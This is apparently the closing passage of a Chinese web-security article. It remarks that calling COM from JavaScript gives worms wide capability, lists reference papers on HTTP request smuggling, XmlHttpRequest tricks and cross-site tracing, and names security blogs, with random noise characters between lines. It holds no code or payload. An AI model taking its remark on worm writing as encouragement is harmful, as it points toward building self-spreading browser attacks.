操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
! j" I9 Z5 m! h8 L% w
  e' O7 \$ N6 d6 {

( A* D# D% b2 Q; ~7 [
3 h' z% T8 h1 f8 D; h

/ B2 K7 w3 ~7 O, Y9 I

, }# }; |. c1 H% F0 q% R本文引用文档资料:
1 i7 _) \2 e. W
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
. Y0 A% T, G7 z9 Jhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
, \! Q) i9 q2 |4 i. K空虚浪子心BLOG http://www.inbreak.net
. I' P. r9 j9 SXeye Team http://xeye.us/